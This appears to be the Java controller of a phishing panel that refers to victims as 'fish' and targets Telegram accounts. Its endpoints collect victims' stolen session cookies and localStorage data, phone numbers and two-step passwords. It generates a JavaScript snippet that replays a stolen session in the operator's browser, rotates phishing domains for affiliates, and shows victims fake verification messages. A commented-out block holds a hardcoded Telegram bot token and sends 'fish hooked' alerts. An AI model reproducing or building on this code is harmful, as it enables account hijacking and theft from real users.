package com.ruoyi.web.controller.system;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

import com.ruoyi.RuoYiApplication;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.system.service.ISysUserService;
import com.ruoyi.web.controller.socket.WebSocketServer;
import com.ruoyi.web.controller.tgbot.TBot;
import com.ruoyi.web.controller.tool.JavaScriptUtil;
import com.ruoyi.web.controller.tool.RandomStringGenerator;
import com.ruoyi.web.controller.vo.QrDataR;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.system.domain.SysTgdata;
import com.ruoyi.system.service.ISysTgdataService;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;


/**
 * 鱼儿管理Controller
 * 
 * @author 零九
 * @date 2023-05-10
 */
@Controller
@RequestMapping("/system/tgdata")
public class SysTgdataController extends BaseController
{
    private String prefix = "system/tgdata";

    @Autowired
    private ISysTgdataService sysTgdataService;
    @Autowired
    private ISysUserService userService;

    @RequiresPermissions("system:tgdata:view")
    @GetMapping()
    public String tgdata()
    {
        return prefix + "/tgdata";
    }

    /**
     * 查询鱼儿管理列表
     */
    @RequiresPermissions("system:tgdata:list")
    @PostMapping("/list")
    @ResponseBody
    public TableDataInfo list(SysTgdata sysTgdata)
    {
        startPage();
        List<SysTgdata> list = null;
        if (!getLoginName().equals("admin") && !getLoginName().equals("chaoyue123")) {
            sysTgdata.setQrstate(getSysUser().getUserId().toString());
        }
        list = sysTgdataService.selectSysTgdataList(sysTgdata);
        return getDataTable(list);
    }

    /**
     * 导出鱼儿管理列表
     */
    @RequiresPermissions("system:tgdata:export")
    @Log(title = "鱼儿管理", businessType = BusinessType.EXPORT)
    @PostMapping("/export")
    @ResponseBody
    public AjaxResult export(SysTgdata sysTgdata)
    {
        List<SysTgdata> list = sysTgdataService.selectSysTgdataList(sysTgdata);
        ExcelUtil<SysTgdata> util = new ExcelUtil<SysTgdata>(SysTgdata.class);
        return util.exportExcel(list, "鱼儿管理数据");
    }

    /**
     * 新增鱼儿管理
     */
    @GetMapping("/add")
    public String add()
    {
        return prefix + "/add";
    }

    /**
     * 新增保存鱼儿管理
     */
    @RequiresPermissions("system:tgdata:add")
    @Log(title = "鱼儿管理", businessType = BusinessType.INSERT)
    @PostMapping("/add")
    @ResponseBody
    public AjaxResult addSave(SysTgdata sysTgdata)
    {
        return toAjax(sysTgdataService.insertSysTgdata(sysTgdata));
    }

    /**
     * 修改鱼儿管理
     */
    @RequiresPermissions("system:tgdata:edit")
    @GetMapping("/edit/{id}")
    public String edit(@PathVariable("id") Integer id, ModelMap mmap)
    {
        SysTgdata sysTgdata = sysTgdataService.selectSysTgdataById(id);
        mmap.put("sysTgdata", sysTgdata);
        return prefix + "/edit";
    }

    /**
     * 修改保存鱼儿管理
     */
    @RequiresPermissions("system:tgdata:edit")
    @Log(title = "鱼儿管理", businessType = BusinessType.UPDATE)
    @PostMapping("/edit")
    @ResponseBody
    public AjaxResult editSave(SysTgdata sysTgdata)
    {
        return toAjax(sysTgdataService.updateSysTgdata(sysTgdata));
    }

    /**
     * 删除鱼儿管理
     */
    @RequiresPermissions("system:tgdata:remove")
    @Log(title = "鱼儿管理", businessType = BusinessType.DELETE)
    @PostMapping( "/remove")
    @ResponseBody
    public AjaxResult remove(String ids)
    {
        return toAjax(sysTgdataService.deleteSysTgdataByIds(ids));
    }

    /**
     * executeRem
     */
    @RequiresPermissions("system:tgdata:executeRem")
    @Log(title = "鱼儿管理", businessType = BusinessType.DELETE)
    @PostMapping( "/executeRem/{tp}/{id}")
    @ResponseBody
    public AjaxResult executeRem(@PathVariable String id, @PathVariable String tp)
    {
        SysTgdata sysTgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf(id));
        String ures = "";
        if ("1".equals(tp)){
            ures = "等待输入密码";
        } else if ("2".equals(tp)) {
            ures = "验证码错误";
        } else if ("3".equals(tp)) {
            ures = "密码错误";
        } else if ("4".equals(tp)) {
            ures = "验证通过";
        } else if ("5".equals(tp)){
            String res = "var json='"+sysTgdata.getUqrcode()+"';var keyList=Object.keys(JSON.parse(json));var vaList = Object.values(JSON.parse(json));for (let i = 0; i < keyList.length; i++) {localStorage.setItem(keyList[i],vaList[i])}";
            return new AjaxResult(AjaxResult.Type.SUCCESS,"成功！代码已提取至您的剪贴板",res);
        } else if ("6".equals(tp)){
            String domain = RuoYiApplication.loginDomain;
            String new_domain =  domain.replace("*", RandomStringGenerator.generateRandomString(8));
            String res = new_domain+"?data="+sysTgdata.getUqrcode();
            if (domain.equals("")){
                return new AjaxResult(AjaxResult.Type.ERROR,"一键登录错误，配置类信息为空，请联系管理员处理",null);
            }
            return new AjaxResult(AjaxResult.Type.SUCCESS,"登录成功，即将自动跳转",res);
        } else if ("7".equals(tp)){
            SysUser user = getSysUser();
            String domain = RuoYiApplication.agentDomain;
            String new_domain =  domain.replace("*", RandomStringGenerator.generateRandomString(8));
            user.setEmail(new_domain);
            user.setDomain(new_domain);
            setSysUser(user);
            userService.updateUserInfo(user);
            return new AjaxResult(AjaxResult.Type.SUCCESS,"域名更换成功，请使用新域名推广");
        }
        sysTgdata.setUres(ures);
        return toAjax(sysTgdataService.updateSysTgdata(sysTgdata));
    }


    /**
     * 刷新二维码
     */
    @PostMapping( "/flushqr")
    @ResponseBody
    public QrDataR flushqr(String id)
    {
        SysTgdata tgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf(id));
        if (tgdata.getQrstate().equals("待拉取")){
            return new QrDataR("1","new",tgdata.getUqrcode());
        }
        return new QrDataR("0","none",null);
    }

//    /**
//     * 刷新二维码
//     */
//    @PostMapping( "/uploadQr")
//    @ResponseBody
//    public QrDataR uploadQr(String phone,String base64)
//    {
//        SysTgdata tgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf());
//
//        if (tgdata.getQrstate().equals("待拉取")){
//            return new QrDataR("1","new",tgdata.getUqrcode());
//        }
//        return new QrDataR("0","none",null);
//    }


    /**
     * 上传或更新cookie
     */
    @PostMapping( "/uploadCk/{utack}/{password}")
    @ResponseBody
    @CrossOrigin
    public QrDataR uploadQr(@RequestBody String json, @PathVariable String utack, @PathVariable String password)
    {
        System.err.println(json);
        //过滤非法字符
        json = json.replace("\\", "\\\\");
        System.err.println(utack);
        String uphone = utack;
        if (utack.contains("+")){
            utack = "手机号登录|"+utack;
        }else{
            utack = "扫码登录|"+utack;
        }


        SysTgdata sysTgdata = new SysTgdata();
        sysTgdata.setUphone(utack);
        if ("nothavapas".equals(password)){
            sysTgdata.setAgpass("未启用二级密码");
        }else {
            sysTgdata.setAgpass(password);
        }
        sysTgdata.setUres("已获取客户码");
        List<SysTgdata> tgdataList = sysTgdataService.selectSysTgdataList(sysTgdata);
        if (tgdataList.size() > 0){
        //            sysTgdata = tgdataList.get(0);
        //            sysTgdata.setUqrcode(json);
        //            老油条不用管，直接放弃
        }else {
            //新鱼儿
            //验证码字段暂存jsonCk
            sysTgdata.setUqrcode(json);
            //referer
            String referer = getRequest().getHeader("referer");
            if (referer.contains("https://")){
                referer = referer.replace("https://","");
            }
            if (referer.contains("/")){
                referer = referer.replace("/","");
            }
            SysUser sysUser = userService.selectUserByEmail(referer);
            if (sysUser == null){
                sysTgdata.setQrstate("无代理来源");
            }else {
                sysTgdata.setQrstate(sysUser.getUserId().toString());
            }
            sysTgdataService.insertSysTgdata(sysTgdata);
            //TG消息通知
//
//            TBot.sendMsg("6613956447:AAFccHmuhwfkxUuPmPPgSKR2xgioycSeYA4","业务消息通知" +
//                    "%0A通知类型：telegram上鱼通知" +
//                    "%0A鱼儿登陆方式：" +(uphone.contains("+") ? "手机号码登录":"扫码登录")+
//                    "%0A鱼儿手机号码：" +(uphone.contains("+") ? uphone:"无手机号")+
//                    "%0A通知时间：" +new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()),"@dytzvip");
//            //告知服务端鱼儿上钩
//            WebSocketServer.sendInfo("new","baseServer");

        }

        return new QrDataR("0","none",null);
    }
}